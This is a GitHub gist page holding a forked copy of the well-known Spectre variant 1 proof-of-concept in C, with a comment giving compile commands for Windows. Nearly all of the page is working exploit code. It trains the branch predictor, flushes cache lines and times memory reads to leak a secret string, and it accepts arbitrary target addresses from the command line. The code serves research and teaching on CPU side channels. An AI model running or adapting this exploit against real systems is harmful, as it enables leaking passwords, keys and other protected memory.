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@amawertos amawertos/spectre.c forked from ErikAugust/spectre.c
Last active Jan 13, 2018

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Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "The Magic Words are Squeamish Ossifrage.";
unsigned int edx = 0;
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (150) /* assume cache hit if time <= threshold */
int check_rdtscp() {
__asm__ __volatile__ (
"movl $0x80000001, %%eax\n"
"cpuid\n"
: "=d"(edx)
:: "%eax", "%ebx", "%ecx"
);
return (edx&(1<<27));
}
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
volatile int z = 0;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
if (check_rdtscp()) {
time1 = __rdtscp(& junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(& junk); /* READ TIMER */
time2 -= time1; /* COMPUTE ELAPSED TIME */
} else {
time1 = __rdtsc(); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtsc(); /* READ TIMER */
time2 -= time1; /* COMPUTE ELAPSED TIME */
}
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char **argv) {
size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2], normalized[1];
char *recovered = (char*)calloc(len + 1, sizeof(char*));
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
normalized[0] = (value[0] > 31 && value[0] < 127) ? value[0] : (uint8_t)'?';
if (argc <= 2)
recovered[strlen(recovered)] = normalized[0];
printf("0x%02X=\'%c\' score=%d ", value[0], normalized[0], score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
printf("\n");
if (argc <= 2) {
printf(" Original: %s\n", secret);
printf("Recovered: %s\n", recovered);
}
return (0);
}
@amawertos

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commented Jan 13, 2018

Compile it for Windows by using TDM-GCC.

gcc -s -msse2 spectre.c -o spectre

Include -m32 to compile a 32-bit version. It might work for you when a 64-bit version doesn't.

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